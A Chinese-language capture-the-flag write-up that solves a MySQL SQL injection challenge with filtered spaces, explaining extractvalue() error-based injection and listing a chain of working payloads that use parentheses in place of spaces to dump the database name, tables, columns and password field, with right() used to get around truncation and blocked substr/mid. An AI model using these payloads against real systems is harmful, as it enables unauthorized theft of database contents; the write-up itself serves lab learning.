我们先进行正常输入会返回什么
试试SQL语句
经过多次尝试后发现空格和%09%0a等能代替空格的字符都被过滤了
我们可以尝试使用XML解析函数:extractvalue()
在 SQL 注入(SQL Injection)中,extractvalue() 函数通常被用在 基于报错的注入 中,且主要针对 MySQL 数据库。
以下是关于 extractvalue() 函数在 SQL 注入中的原理、常见 Payload、局限性以及防御方法的详细解析:一、 核心原理extractvalue() 是 MySQL 的一个内置 XML 函数,其语法为:EXTRACTVALUE}(xml_target, xpath_expression)
作用:根据 XPath 表达式从 XML 片段中提取目标值。漏洞利用点:当第二个参数 xpath_expression 传入了不合法的 XPath 语法格式时(例如以特殊字符 ~ 开头),MySQL 会抛出一个 XPath 语法错误。信息泄露:在报错信息中,MySQL 会将非法的 XPath 表达式内容原样回显出来。攻击者正是利用这一特性,将想要窃取的数据库敏感信息(如版本、当前用户、表名等)拼接进 XPath 表达式中,迫使数据库通过错误信息把数据"吐"出来。
并且因为payload中不能存在空格,我们可以使用()来吧语句分隔开来
1'or(extractvalue(1,(concat(0x7e,database(),0x7e))))#
得到数据库名

接下来查表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))#

查字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))))#

1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#

但发现显示不全,但是substr和mid函数被过滤了,试试left和right函数
1'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#

将前后拼接一下就得到flag